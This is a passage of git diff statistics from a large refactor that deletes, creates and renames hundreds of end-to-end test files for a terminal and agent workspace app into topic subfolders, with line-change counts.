.../wsl-hosts}/wsl-terminate-retry.ts | 0 ...blocked-navigation-graph-authority.spec.ts | 161 - .../e2e/repo-registration-concurrency.spec.ts | 86 - tests/e2e/resource-manager-bound-ptys.spec.ts | 98 - ...urce-manager-end-tabless-terminals.spec.ts | 60 - .../resource-manager-local-pty-view.spec.ts | 294 -- .../e2e/resource-usage-warm-reattach.spec.ts | 135 - .../e2e/runtime-host-status-recovery.spec.ts | 254 -- tests/e2e/settings-display-name-ime.spec.ts | 131 - ...ettled-worker-tab-survives-restart.spec.ts | 526 --- tests/e2e/setup-script-import.spec.ts | 213 -- ...script-prompt-unreadable-orca-yaml.spec.ts | 192 -- tests/e2e/sidebar-agent-row-identity.spec.ts | 176 - .../e2e/sidebar-click-terminal-focus.spec.ts | 231 -- tests/e2e/sidebar-desktop-reads-main.spec.ts | 321 -- tests/e2e/sidebar-host-unread.spec.ts | 130 - tests/e2e/sidebar-inputs-feed.spec.ts | 94 - tests/e2e/sidebar-phone-feed-list.spec.ts | 348 -- tests/e2e/sidebar-sort-stamps-startup.spec.ts | 172 - tests/e2e/sidebar-workspace-rows.spec.ts | 145 - .../e2e/slept-workspace-remount-wake.spec.ts | 81 - ...e-control-commit-draft-persistence.spec.ts | 112 - ...ce-control-create-pr-intent-switch.spec.ts | 139 - .../source-control-large-file-count.spec.ts | 322 -- .../source-control-operation-recovery.spec.ts | 117 - ...ource-control-pr-generation-switch.spec.ts | 553 ---- .../{ => source-control}/git-churn-load.ts | 0 .../large-diff-repro-fixtures.ts | 0 .../large-file-count-fixtures.ts | 0 .../pr-comments-sidebar-fixture.ts | 0 .../source-control-ai-generation.ts | 0 .../source-control-ai-generators.ts | 0 .../source-control-commit-message-ai.spec.ts | 9 +- .../source-control-create-pr.spec.ts | 7 +- ...ource-control-discard-confirmation.spec.ts | 5 +- .../source-control-generation-app.ts | 7 +- ...ource-control-pr-generation-switch.spec.ts | 100 + .../source-control-pr-linked-issue-ai.spec.ts | 9 +- .../source-control-staged-rename.spec.ts | 7 +- tests/e2e/sparse-explorer-proof.spec.ts | 214 -- tests/e2e/ssh-config-host-import.spec.ts | 153 - tests/e2e/ssh-config-host-picker.spec.ts | 76 - tests/e2e/ssh-host-form-modal.spec.ts | 205 -- .../ssh-orcad-browser-service-status.spec.ts | 175 - ...sh-orcad-claude-chat-start-failure.spec.ts | 84 - .../e2e/ssh-orcad-codex-question-skip.spec.ts | 77 - .../ssh-orcad-desktop-browser-bridge.spec.ts | 238 -- .../ssh-orcad-editor-drafts-migration.spec.ts | 212 -- tests/e2e/ssh-orcad-editor-ownership.spec.ts | 99 - .../ssh-orcad-enabled-automation-move.spec.ts | 158 - .../ssh-orcad-identity-file-tokens.spec.ts | 84 - .../e2e/ssh-orcad-markdown-conversion.spec.ts | 88 - .../ssh-orcad-markdown-link-refresh.spec.ts | 53 - .../ssh-orcad-markdown-live-documents.spec.ts | 91 - .../e2e/ssh-orcad-move-anyway-inline.spec.ts | 140 - tests/e2e/ssh-orcad-pairing-repair.spec.ts | 217 -- .../ssh-orcad-shared-login-migration.spec.ts | 174 - .../e2e/ssh-orcad-sleep-disconnected.spec.ts | 75 - .../e2e/ssh-orcad-ssh-failure-reason.spec.ts | 90 - .../ssh-orcad-terminal-browser-link.spec.ts | 227 -- tests/e2e/ssh-orcad-terminal-journeys.spec.ts | 199 -- .../ssh-orcad-terminal-network-outage.spec.ts | 85 - ...rcad-terminal-reconnect-idle-frame.spec.ts | 82 - .../e2e/ssh-orcad-terminal-root-owner.spec.ts | 248 -- tests/e2e/ssh-orcad-update-anyway.spec.ts | 198 -- .../e2e/ssh-orcad-vm-provisioned-root.spec.ts | 342 -- .../e2e/ssh-orcad-windows-cli-matrix.spec.ts | 525 --- tests/e2e/ssh-orcad-workspace-tools.spec.ts | 273 -- ...-bar-session-count-management-kill.spec.ts | 141 - ...gent-session-launch-admission.unit.test.ts | 350 -- tests/e2e/tasks-page.spec.ts | 187 -- .../terminal-cjk-ime-committed-text.spec.ts | 310 -- ...inal-cli-split-closed-before-mount.spec.ts | 162 - ...al-codex-hidden-startup-background.spec.ts | 352 -- ...document-visibility-webgl-recovery.spec.ts | 353 -- ...inal-duplicate-pty-renderer-reveal.spec.ts | 331 -- ...al-hangul-terminating-digit-native.spec.ts | 305 -- ...erminal-hangul-wrap-boundary-bytes.spec.ts | 265 -- ...l-hidden-child-tui-kill-mode-reset.spec.ts | 216 -- ...terminal-hidden-tui-visual-restore.spec.ts | 457 --- .../e2e/terminal-hidden-view-parking.spec.ts | 365 -- tests/e2e/terminal-ibus-hangul-native.spec.ts | 627 ---- .../e2e/terminal-ime-clause-selection.spec.ts | 63 - tests/e2e/terminal-ime-exact-byte.spec.ts | 162 - .../terminal-ime-preedit-cell-grid.spec.ts | 243 -- .../terminal-ime-preedit-continuity.spec.ts | 75 - .../e2e/terminal-inline-images-memory.spec.ts | 183 - ...minal-inline-images-paired-runtime.spec.ts | 336 -- .../terminal-inline-images-windows.spec.ts | 106 - ...inal-inline-tui-reveal-convergence.spec.ts | 664 ---- tests/e2e/terminal-kitty-placeholders.spec.ts | 200 -- .../terminal-kitty-reattach-parity.spec.ts | 115 - ...minal-korean-composing-chord-order.spec.ts | 73 - ...-korean-endofrow-preedit-cell-span.spec.ts | 142 - ...l-korean-midline-preedit-occlusion.spec.ts | 119 - ...erminal-large-paste-responsiveness.spec.ts | 164 - tests/e2e/terminal-layout-parity.spec.ts | 339 -- ...l-link-hover-after-worktree-return.spec.ts | 320 -- .../terminal-linux-direct-ime-commit.spec.ts | 64 - .../terminal-macos-2set-korean-native.spec.ts | 173 - .../terminal-macos-system-key-remap.spec.ts | 163 - ...nal-opencode-emoji-table-rendering.spec.ts | 305 -- .../terminal-option-composed-ascii.spec.ts | 381 --- .../terminal-osc8-cold-park-restore.spec.ts | 194 -- tests/e2e/terminal-output-scheduler.spec.ts | 183 - ...inal-pane-close-layout-consistency.spec.ts | 336 -- ...terminal-pane-divider-capture-loss.spec.ts | 170 - .../e2e/terminal-pane-split-identity.spec.ts | 80 - ...erminal-pane-title-strip-placement.spec.ts | 96 - tests/e2e/terminal-parked-cli-split.spec.ts | 388 --- .../terminal-perf-presentation.unit.test.ts | 84 - ...l-pinned-viewport-streaming-switch.spec.ts | 206 -- ...al-pinned-viewport-worktree-switch.spec.ts | 178 - ...al-quick-command-pre-bind-recovery.spec.ts | 349 -- ...nal-raw-emoji-table-scroll-restore.spec.ts | 588 ---- .../terminal-reattach-mouse-mode-leak.spec.ts | 229 -- .../terminal-reattach-tui-mouse-mode.spec.ts | 240 -- .../e2e/terminal-replay-presentation.spec.ts | 142 - tests/e2e/terminal-reset-input-modes.spec.ts | 126 - .../e2e/terminal-restart-persistence.spec.ts | 207 -- ...erminal-reveal-paused-render-repro.spec.ts | 757 ----- tests/e2e/terminal-search-results.spec.ts | 61 - tests/e2e/terminal-shortcuts.spec.ts | 359 -- .../terminal-stuck-occlusion-recovery.spec.ts | 131 - ...inal-tab-close-restart-persistence.spec.ts | 193 -- ...rminal-tab-switch-sigwinch-restore.spec.ts | 296 -- tests/e2e/terminal-tui-wheel-drain.spec.ts | 174 - tests/e2e/terminal-tui-wheel-reports.spec.ts | 326 -- ...al-warm-reattach-split-live-output.spec.ts | 262 -- ...inal-windows-conpty-keyboard-reset.spec.ts | 109 - ...inal-windows-shell-paste-ownership.spec.ts | 312 -- .../ime/terminal-ibus-hangul-native.spec.ts | 215 ++ .../ime}/terminal-ime-boundary-probe.ts | 0 .../ime}/terminal-ime-byte-reader.ts | 4 +- .../ime}/terminal-ime-cdp-composition.ts | 0 .../ime}/terminal-ime-dom-delivery.ts | 0 .../ime}/terminal-ime-engagement-receipt.ts | 0 .../terminal-ime-midline-occlusion-probe.ts | 0 .../terminal-ime-observed-event-sequences.ts | 0 .../ime}/terminal-ime-pane-arena.ts | 14 +- .../ime}/terminal-ime-platform-policy.ts | 0 .../terminal-ime-preedit-overlay-probe.ts | 0 .../terminal-ime-recorded-dom-trace-replay.ts | 0 ...terminal-korean-preedit-visibility.spec.ts | 39 +- ...nal-linux-claimed-preedit-selector.spec.ts | 3 +- .../terminal-option-composed-ascii.spec.ts | 174 + .../ime}/terminal-option-key-input.ts | 18 +- .../terminal-wayland-input-diagnostics.ts | 0 .../codex-composer-echo-latency-probe.ts | 0 .../input}/dead-terminal.ts | 8 +- .../input}/run-node-script-in-terminal.ts | 3 +- .../input}/terminal-accessibility-tree.ts | 0 .../input}/terminal-active-pane.ts | 4 +- .../input}/terminal-input-probes.ts | 5 +- .../input}/terminal-kitty-file-image-proof.ts | 9 +- .../input}/terminal-kitty-keyboard.ts | 6 +- .../input}/terminal-marker-echo-command.ts | 0 .../input}/terminal-node-command.ts | 4 +- .../input}/terminal-paste-ownership.spec.ts | 147 +- .../input}/terminal-probe-input-sequence.ts | 0 .../input}/terminal-pty-injection.ts | 0 .../input}/terminal-pty-write-spy.ts | 2 +- .../terminal/input/terminal-shortcuts.spec.ts | 150 + ...inal-windows-codex-multiline-paste.spec.ts | 79 +- .../terminal-windows-path-expansion.spec.ts | 7 +- ...inal-windows-shell-paste-ownership.spec.ts | 148 + .../{helpers => terminal/input}/terminal.ts | 109 +- .../input/windows-terminal-env-icons.spec.ts | 36 + .../layout}/terminal-close-pane-focus.spec.ts | 19 +- ...terminal-closed-pane-quit-relaunch.spec.ts | 26 +- .../layout}/terminal-inventory-observation.ts | 2 +- .../terminal-pane-content-retention.spec.ts | 18 +- .../layout}/terminal-pane-geometry.ts | 5 +- .../layout}/terminal-pane-identity.ts | 4 +- .../layout}/terminal-pane-mount-readiness.ts | 11 +- .../layout}/terminal-pane-operations.ts | 2 +- .../terminal-pane-split-identity.spec.ts | 35 + .../layout}/terminal-pane-title-actions.ts | 3 +- ...erminal-split-pane-paste-ownership.spec.ts | 16 +- .../layout}/terminal-tab-menu.ts | 2 +- .../layout}/terminal-title-log.ts | 0 ...mation-hidden-terminal-first-mount.spec.ts | 11 +- .../lifecycle}/terminal-codex-home.spec.ts | 16 +- .../lifecycle}/terminal-native-ibus-window.ts | 0 .../terminal-osc-color-queries.spec.ts | 19 +- .../lifecycle}/terminal-pty-readiness.ts | 7 +- .../terminal-scroll-intent-follow.spec.ts | 17 +- ...terminal-tab-level-binding-upgrade.spec.ts | 32 +- ...nal-wedged-write-pipeline-recovery.spec.ts | 17 +- .../terminal-link-click-ownership.spec.ts | 65 +- .../links}/terminal-workspace-root-link.ts | 8 +- .../output}/alt-screen-frame.ts | 0 ...ificial-opencode-active-terminal-scroll.ts | 0 ...icial-opencode-hidden-pressure-scenario.ts | 13 +- ...ificial-opencode-hidden-pressure-script.ts | 2 +- .../artificial-opencode-pane-interactions.ts | 20 +- ...cial-opencode-revisit-pressure-scenario.ts | 11 +- .../capture-opencode-tui-repro.mjs | 0 .../performance}/in-app-typing-diagnostic.ts | 0 .../performance}/layout-latency-probe.ts | 2 +- .../multi-workspace-typing-bench.ts | 22 +- .../paced-terminal-typing-measurement.ts | 0 .../performance}/paced-terminal-typing.ts | 4 +- .../sustained-agent-typing-load-scripts.ts | 2 +- .../synchronized-output-blackout-probe.ts | 0 .../performance}/tab-render-recorder.ts | 0 .../terminal-perf-presentation.ts | 0 .../terminal-perf-presentation.unit.test.ts | 42 + .../performance}/terminal-typing-benchmark.ts | 3 +- .../performance}/typing-load-workspaces.ts | 2 +- .../typing-renderer-cpu-profile.ts | 0 .../performance}/typing-scale-census.ts | 4 +- .../restored-terminal-input-readiness.ts | 2 +- .../startup-exec-readiness-oracle.ts | 14 +- .../remote-hosts}/host-session-tabs.ts | 4 +- .../paired-desktop-server-terminal-tab.ts | 13 +- .../remote-hosts}/paired-host-terminal.ts | 2 +- .../remote-terminal-lifecycle-observer.ts | 0 .../streaming-terminal-cleanup.ts | 0 ...aired-remote-terminal-early-typing.spec.ts | 12 +- ...red-remote-terminal-stall-recovery.spec.ts | 16 +- .../remote-terminal-input-model-link.ts | 10 +- ...paired-remote-terminal-reveal-grid.spec.ts | 19 +- ...paired-remote-terminal-viewer-size.spec.ts | 19 +- ...mote-terminal-pane-move-to-new-tab.spec.ts | 135 +- .../remote-session-bulk-open-fixture.ts | 2 +- .../remote-session-bulk-open-oracle.ts | 11 +- .../host-created-terminal-retention-oracle.ts | 4 +- ...rminal-initial-snapshot-scrollback.spec.ts | 9 +- ...erminal-truncated-tail-first-paint.spec.ts | 226 ++ .../paired-runtime-retention-metrics.ts | 0 ...ed-terminal-cold-activation-observation.ts | 3 +- .../paired-terminal-cold-activation-oracle.ts | 12 +- .../paired-terminal-hidden-output-oracle.ts | 7 +- .../paired-terminal-parking-fixture.ts | 2 +- .../paired-terminal-parking-oracle.ts | 17 +- .../paired-terminal-title-fanout-oracle.ts | 9 +- ...paired-terminal-restart-renderer-probes.ts | 5 +- .../alternate-screen-fixture-script.ts | 0 .../terminal-column-desync-repro.spec.ts | 14 +- .../rendering}/terminal-column-probes.ts | 9 +- .../terminal-cursor-raster-probe.ts | 0 .../terminal-dom-block-decorations.spec.ts | 9 +- .../rendering}/terminal-inline-image-proof.ts | 0 .../rendering}/terminal-screenshot-diff.ts | 0 .../rendering}/terminal-tab-screenshot.ts | 3 +- ...terminal-tab-switch-visual-restore.spec.ts | 137 +- .../rendering}/xterm-render-dimensions.ts | 0 .../resource-manager-visible-fixture.ts | 0 .../retention}/terminal-hidden-parking.ts | 5 +- .../terminal-host-focus-storm-oracle.ts | 9 +- .../terminal-parked-close-retirement.spec.ts | 20 +- .../terminal-restart-persistence.spec.ts | 69 + .../terminal-restart-persistence.ts | 13 +- .../terminal-sleep-wake-restore.spec.ts | 11 +- ...al-tab-close-running-confirm-mouse.spec.ts | 32 +- ...terminal-tab-close-running-confirm.spec.ts | 22 +- ...ened-workspace-agent-single-resume.spec.ts | 176 - ...stall-renderer-checkpoint-recovery.spec.ts | 86 - tests/e2e/vitest.config.ts | 2 +- tests/e2e/windows-terminal-env-icons.spec.ts | 126 - .../e2e/windows-wsl-terminal-restore.spec.ts | 212 -- .../workspace-layout-oracle-headless.spec.ts | 547 --- tests/e2e/workspace-layout-oracle.spec.ts | 506 --- ...kspace-session-corrupt-tab-salvage.spec.ts | 137 - tests/e2e/workspace-sleep-main-resume.spec.ts | 172 - .../default-branch-visibility.spec.ts | 12 +- ...worktree-visibility-runtime-active.spec.ts | 7 +- ...ree-jump-palette-folder-workspaces.spec.ts | 7 +- .../lifecycle}/worktree-lineage-state.ts | 2 +- ...new-workspace-cross-project-dialog.spec.ts | 7 +- ...rkspace-linked-item-project-switch.spec.ts | 9 +- .../project-group-manual-sort.spec.ts | 5 +- .../repo-registration-async.spec.ts | 10 +- .../git-status-retry-barrier.ts | 0 .../repo-with-workspaces.ts | 7 +- .../seeded-ssh-workspaces.ts | 21 +- .../repository-fixtures}/seeded-test-repo.ts | 4 +- .../worktree-registration.ts | 5 +- ...sidebar-folder-keyboard-navigation.spec.ts | 5 +- .../sidebar}/sidebar-inputs-build.ts | 0 .../sidebar}/sidebar-project-dialog.ts | 0 .../sidebar}/sidebar-project-visibility.ts | 0 .../sidebar}/sidebar-setup-prompt.ts | 4 +- .../sidebar-unread-older-paired-host.spec.ts | 9 +- .../sidebar/sidebar-workspace-rows.spec.ts | 97 + .../sidebar}/spinner-workspace-fixture.ts | 4 +- ...orkspace-board-lane-virtualization.spec.ts | 160 +- .../sidebar}/worktree-parent-reorder.spec.ts | 41 +- .../sidebar}/worktree-row-locators.ts | 0 .../sleep}/slept-workspace-probe.ts | 7 +- .../sleep}/workspace-sleep-in-main.spec.ts | 90 +- tests/e2e/worktree-card-downward-drag.spec.ts | 222 -- tests/e2e/worktree-delete-shortcut.spec.ts | 88 - tests/e2e/worktree-jump-sleep-focus.spec.ts | 68 - tests/e2e/worktree-lifecycle.spec.ts | 159 - tests/e2e/worktree-recent-sort.spec.ts | 94 - .../worktree-switch-responsiveness.spec.ts | 156 - tests/e2e/worktree.spec.ts | 447 --- tests/e2e/wsl-drive-unc-conversion.spec.ts | 148 - tests/e2e/wsl-host-chat.spec.ts | 423 --- tests/e2e/wsl-host-no-background-boot.spec.ts | 229 -- tests/e2e/wsl-host-paired-phone.spec.ts | 242 -- tests/e2e/wsl-host-terminal-start.spec.ts | 147 - tests/e2e/wsl-move-dialog.spec.ts | 410 --- tests/e2e/wsl-move-fence.spec.ts | 231 -- .../e2e/wsl-move-moved-project-chats.spec.ts | 294 -- tests/e2e/wsl-move-restore-lifecycle.spec.ts | 669 ---- tests/e2e/wsl-move-undo-host-copy.spec.ts | 138 - tests/e2e/zcode-plan-credentials.spec.ts | 93 - 875 files changed, 6162 insertions(+), 95620 deletions(-) delete mode 100644 .github/workflows/packaged-browser-e2e.yml delete mode 100644 .github/workflows/terminal-perf.yml delete mode 100644 .github/workflows/windows-browser-focus-e2e.yml delete mode 100644 config/scripts/ci/e2e-selection/run-multi-client-navigation-e2e.mjs delete mode 100644 config/scripts/runtime-verification/terminal-e2e/run-terminal-layout-parity.mjs delete mode 100644 config/scripts/runtime-verification/terminal-e2e/run-terminal-scale-perf-e2e.mjs delete mode 100644 config/scripts/runtime-verification/terminal-e2e/run-terminal-scale-perf-report-gate.mjs delete mode 100644 config/scripts/workflow/source-routing/pr-browser-e2e-source-routes.mjs delete mode 100644 config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs delete mode 100644 tests/e2e/activity-agent-pane-isolation.spec.ts rename tests/e2e/{ => activity}/ai-vault-session-delete.spec.ts (93%) rename tests/e2e/{ => activity}/ai-vault-typing-bench-corpus.ts (100%) rename tests/e2e/{ => activity}/ai-vault-typing-bench-renderer-probe.ts (100%) delete mode 100644 tests/e2e/add-project-default-checkout.spec.ts delete mode 100644 tests/e2e/add-project-error-toast-stacking.spec.ts delete mode 100644 tests/e2e/agent-auto-permissions.spec.ts delete mode 100644 tests/e2e/agent-dashboard-status-burst.spec.ts delete mode 100644 tests/e2e/agent-send-picker-reveal.spec.ts delete mode 100644 tests/e2e/agent-session-live-force-exit-resume.spec.ts delete mode 100644 tests/e2e/agent-session-log-tail-stability.spec.ts delete mode 100644 tests/e2e/agent-session-quit-resume.spec.ts create mode 100644 tests/e2e/agents/native-chat/native-chat-send-focus.spec.ts rename tests/e2e/{ => agents/native-chat}/native-chat-ssh-transcript.unit.test.ts (90%) rename tests/e2e/{ => agents/native-chat}/structured-attention-read-retirement.test-fixture.tsx (87%) rename tests/e2e/{ => agents/native-chat}/structured-chat-tab-lifetime.test-fixture.ts (92%) rename tests/e2e/{ => agents/remote-sessions}/paired-serve-cold-restore-agent-status.spec.ts (85%) rename tests/e2e/{ => agents/remote-sessions}/paired-server-agent-tab-placement.spec.ts (89%) create mode 100644 tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts rename tests/e2e/{helpers => agents/session-fixtures}/agent-hook-endpoint.ts (98%) rename tests/e2e/{helpers => agents/session-fixtures}/claude-plugin-image-fixture.ts (100%) rename tests/e2e/{helpers => agents/session-fixtures}/fake-agent-command-override.ts (80%) rename tests/e2e/{helpers => agents/session-fixtures}/fake-agent-paste-end-scanner.ts (100%) rename tests/e2e/{helpers => agents/session-fixtures}/fake-codex-launch-probes.ts (100%) rename tests/e2e/{helpers => agents/session-fixtures}/native-chat-transcript-fixture.ts (100%) rename tests/e2e/{helpers => agents/session-fixtures}/native-chat-view.ts (83%) rename tests/e2e/{helpers => agents/session-fixtures}/structured-claude-stub.ts (90%) rename tests/e2e/{ => agents/session-lifecycle}/agent-descendant-process-kill.spec.ts (93%) rename tests/e2e/{ => agents/session-lifecycle}/grok-hook-session-cleanup.spec.ts (93%) rename tests/e2e/{ => agents/session-lifecycle}/issue-12907-pi-eof-agent-row.spec.ts (78%) rename tests/e2e/{ => agents/session-lifecycle}/omp-launch-environment.spec.ts (93%) rename tests/e2e/{ => agents/session-lifecycle}/omp-model-picker.spec.ts (86%) rename tests/e2e/{ => agents/session-lifecycle}/prepared-action-launch.test-fixture.ts (77%) rename tests/e2e/{ => agents/settings}/codex-account-switch-dismiss.spec.ts (87%) rename tests/e2e/{ => agents/settings}/cursor-quota-transport.unit.test.ts (93%) rename tests/e2e/{helpers => agents/settings}/cursor-quota-wire.fixture.ts (93%) rename tests/e2e/{ => agents/settings}/settings-agent-awake.spec.ts (94%) delete mode 100644 tests/e2e/ai-vault-panel-search.spec.ts delete mode 100644 tests/e2e/artificial-opencode-terminal-load.spec.ts delete mode 100644 tests/e2e/branch-picker-open-workspace.spec.ts delete mode 100644 tests/e2e/browser-agent-input-focus-isolation-native.spec.ts delete mode 100644 tests/e2e/browser-floating-shortcut-scope.spec.ts delete mode 100644 tests/e2e/browser-guest-attachment-validation.spec.ts delete mode 100644 tests/e2e/browser-guest-crash-recovery.spec.ts delete mode 100644 tests/e2e/browser-image-link-focus.spec.ts delete mode 100644 tests/e2e/browser-local-https-certificate-trust.spec.ts delete mode 100644 tests/e2e/browser-pointer-input-dispatch.spec.ts delete mode 100644 tests/e2e/browser-sidecar-owner-loss.spec.ts delete mode 100644 tests/e2e/browser-split-grab-shortcut.spec.ts delete mode 100644 tests/e2e/browser-split-navigation-shortcuts.spec.ts delete mode 100644 tests/e2e/browser-tab-list-restored-tabs.spec.ts delete mode 100644 tests/e2e/browser-tab.spec.ts rename tests/e2e/{helpers => browser/client-hosted}/client-hosted-browser-fixture.ts (96%) rename tests/e2e/{helpers => browser/client-hosted}/client-hosted-browser-observer.ts (100%) rename tests/e2e/{ => browser/client-hosted}/paired-client-hosted-browser-markup.spec.ts (94%) rename tests/e2e/{ => browser/client-hosted}/paired-client-hosted-profile-cookies.spec.ts (88%) rename tests/e2e/{ => browser/guest-lifecycle}/browser-embedded-owner-routing.spec.ts (97%) create mode 100644 tests/e2e/browser/guest-lifecycle/browser-guest-crash-recovery.spec.ts rename tests/e2e/{ => browser/guest-lifecycle}/browser-guest-runtime-oracle.ts (97%) rename tests/e2e/{helpers => browser/guest-lifecycle}/browser-sidecar-launch.ts (67%) rename tests/e2e/{helpers => browser/input-navigation}/browser-agent-composition-scenario.ts (94%) rename tests/e2e/{helpers => browser/input-navigation}/browser-agent-focus-scenarios.ts (88%) rename tests/e2e/{ => browser/input-navigation}/browser-agent-input-focus-isolation.spec.ts (79%) rename tests/e2e/{ => browser/input-navigation}/browser-grab-top-layer.spec.ts (90%) create mode 100644 tests/e2e/browser/input-navigation/browser-host-focus-probe.ts rename tests/e2e/{helpers => browser/input-navigation}/browser-link-server.ts (100%) rename tests/e2e/{helpers => browser/input-navigation}/browser-split-fixture.ts (100%) create mode 100644 tests/e2e/browser/input-navigation/browser-split-grab-shortcut.spec.ts rename tests/e2e/{helpers => browser/input-navigation}/browser-split-guest-probes.ts (100%) rename tests/e2e/{helpers => browser/input-navigation}/browser-split-page-server.ts (100%) create mode 100644 tests/e2e/browser/input-navigation/browser-tab.spec.ts rename tests/e2e/{helpers => browser/placement}/paired-browser-placement-fixture.ts (96%) rename tests/e2e/{ => browser/remote-hosted}/headless-serve-browser-tab-restart.spec.ts (92%) rename tests/e2e/{helpers => browser/remote-hosted}/materialized-remote-browser-pane.ts (89%) rename tests/e2e/{ => browser/remote-hosted}/paired-remote-browser-blank-link.spec.ts (89%) rename tests/e2e/{ => browser/remote-hosted}/paired-remote-browser-ghost-subscriber-rejoin.spec.ts (97%) rename tests/e2e/{ => browser/remote-hosted}/paired-remote-browser-in-page-address.spec.ts (87%) rename tests/e2e/{helpers => browser/remote-hosted}/ssh-remote-only-browser-fixture.ts (95%) rename tests/e2e/{ => browser/security}/browser-fedcm-fallback.spec.ts (93%) rename tests/e2e/{helpers => browser/security}/local-https-test-server.ts (98%) delete mode 100644 tests/e2e/chinese-ime-chat-input-repro.spec.ts delete mode 100644 tests/e2e/claude-code-theme-sync.spec.ts delete mode 100644 tests/e2e/claude-sidebar-agent-view.spec.ts delete mode 100644 tests/e2e/cli-agent-unopened-workspace-resume.spec.ts delete mode 100644 tests/e2e/cli-file-open-position.spec.ts delete mode 100644 tests/e2e/cli-first-worktree-single-terminal.spec.ts delete mode 100644 tests/e2e/cli-floating-file-open-position.spec.ts delete mode 100644 tests/e2e/codex-ctrl-c-status.spec.ts delete mode 100644 tests/e2e/combined-diff-invalidation-freeze-repro.spec.ts delete mode 100644 tests/e2e/completed-worker-retirement-resume.spec.ts delete mode 100644 tests/e2e/connector-headless-serve.spec.ts delete mode 100644 tests/e2e/crew-recipient-real-command.unit.test.ts delete mode 100644 tests/e2e/csv-paged-preview.spec.ts delete mode 100644 tests/e2e/csv-table-editing.spec.ts delete mode 100644 tests/e2e/csv-url-links.spec.ts delete mode 100644 tests/e2e/daemon-generation-legacy-close-safety.spec.ts delete mode 100644 tests/e2e/daemon-generation-reconnect-safety.spec.ts delete mode 100644 tests/e2e/daemon-live-session-preservation.spec.ts delete mode 100644 tests/e2e/daemon-running-work-probe.unit.test.ts delete mode 100644 tests/e2e/daemon-slow-health-check-preservation.spec.ts delete mode 100644 tests/e2e/daemon-slow-init-pty-gate.spec.ts delete mode 100644 tests/e2e/default-tabs-mark-crash-relaunch.spec.ts delete mode 100644 tests/e2e/desktop-window-mobile-markdown.spec.ts rename tests/e2e/{helpers => desktop/cli-invocation}/compiled-orca-cli.ts (100%) rename tests/e2e/{ => desktop/clipboard}/app-menu-paste-ownership.spec.ts (93%) rename tests/e2e/{ => desktop/clipboard}/clipboard-macos-image-paste.spec.ts (93%) rename tests/e2e/{ => desktop/clipboard}/editable-context-paste-ownership.spec.ts (90%) rename tests/e2e/{ => desktop/clipboard}/tab-rename-paste-ownership.spec.ts (89%) rename tests/e2e/{helpers => desktop/computer-use}/computer-cli-driver.ts (98%) rename tests/e2e/{helpers => desktop/computer-use}/computer-coordinate-click-driver.ts (94%) rename tests/e2e/{helpers => desktop/computer-use}/computer-driver.ts (96%) rename tests/e2e/{ => desktop/computer-use}/computer-linux.e2e.ts (94%) rename tests/e2e/{ => desktop/computer-use}/computer-mac-safari.e2e.ts (96%) rename tests/e2e/{ => desktop/computer-use}/computer-mac.e2e.ts (94%) rename tests/e2e/{ => desktop/computer-use}/computer-windows-background.e2e.ts (96%) rename tests/e2e/{ => desktop/computer-use}/computer-windows.e2e.ts (97%) rename tests/e2e/{helpers => desktop/computer-use}/notepad-document.ts (78%) rename tests/e2e/{helpers => desktop/computer-use}/windows-fixture-actions.ts (90%) rename tests/e2e/{helpers => desktop/computer-use}/windows-foreground-holder.ps1 (100%) rename tests/e2e/{helpers => desktop/computer-use}/windows-foreground-holder.ts (97%) rename tests/e2e/{helpers => desktop/computer-use}/windows-form-fixture.ts (97%) rename tests/e2e/{helpers => desktop/computer-use}/windows-ime-native-events.ts (100%) rename tests/e2e/{helpers => desktop/computer-use}/windows-semantic-controls-fixture.ps1 (100%) rename tests/e2e/{helpers => desktop/computer-use}/windows-semantic-controls-fixture.ts (98%) rename tests/e2e/{helpers => desktop/computer-use}/windows-semantic-controls-fixture.winforms.ps1 (100%) rename tests/e2e/{helpers => desktop/daemon-lifecycle}/daemon-generation-processes.ts (100%) rename tests/e2e/{helpers => desktop/daemon-lifecycle}/daemon-generation-runtime-fixture.ts (100%) rename tests/e2e/{helpers => desktop/daemon-lifecycle}/daemon-generation-safety-fixtures.ts (94%) rename tests/e2e/{ => desktop/daemon-lifecycle}/daemon-lifecycle-retirement.spec.ts (95%) rename tests/e2e/{helpers => desktop/electron-fixtures}/e2e-completed-onboarding-profile.ts (86%) rename tests/e2e/{helpers => desktop/electron-fixtures}/electron-crashpad-cleanup.ts (100%) rename tests/e2e/{helpers => desktop/electron-fixtures}/electron-home-isolation.ts (100%) create mode 100644 tests/e2e/desktop/electron-fixtures/electron-home-isolation.unit.test.ts rename tests/e2e/{helpers => desktop/electron-fixtures}/electron-launch-args.ts (100%) rename tests/e2e/{helpers => desktop/electron-fixtures}/electron-main-evaluate-retry.ts (100%) create mode 100644 tests/e2e/desktop/electron-fixtures/electron-process-handle.ts rename tests/e2e/{helpers => desktop/electron-fixtures}/electron-process-shutdown.ts (97%) create mode 100644 tests/e2e/desktop/electron-fixtures/electron-process-shutdown.unit.test.ts rename tests/e2e/{helpers => desktop/electron-fixtures}/electron-shutdown-timing.ts (100%) rename tests/e2e/{helpers => desktop/electron-fixtures}/hidden-renderer-frame-capture.ts (66%) rename tests/e2e/{helpers => desktop/electron-fixtures}/hold-window-graph-publication.ts (100%) rename tests/e2e/{helpers => desktop/electron-fixtures}/orca-app.ts (99%) rename tests/e2e/{helpers => desktop/electron-fixtures}/orca-restart-launch-options.ts (100%) rename tests/e2e/{helpers => desktop/electron-fixtures}/orca-restart.ts (99%) rename tests/e2e/{helpers => desktop/electron-fixtures}/persisted-profile-state.ts (70%) create mode 100644 tests/e2e/desktop/electron-fixtures/persisted-profile-state.unit.test.ts rename tests/e2e/{helpers => desktop/electron-fixtures}/renderer-console-forwarding.ts (100%) rename tests/e2e/{helpers => desktop/renderer-probes}/event-loop-delay-report.ts (97%) rename tests/e2e/{helpers => desktop/renderer-probes}/first-drawn-watch.ts (100%) rename tests/e2e/{helpers => desktop/renderer-probes}/onboarding-navigation.ts (100%) rename tests/e2e/{helpers => desktop/renderer-probes}/page-evaluate-polled.ts (93%) rename tests/e2e/{helpers => desktop/renderer-probes}/runtime-types.ts (70%) rename tests/e2e/{helpers => desktop/renderer-probes}/shortcuts.ts (100%) rename tests/e2e/{helpers => desktop/renderer-probes}/store.ts (100%) rename tests/e2e/{helpers => desktop/settings}/settings-pane-visits.ts (84%) rename tests/e2e/{ => desktop/startup-recovery}/electron-home-isolation.spec.ts (92%) rename tests/e2e/{ => desktop/startup-recovery}/renderer-crash-recovery-terminal-input.spec.ts (91%) rename tests/e2e/{ => 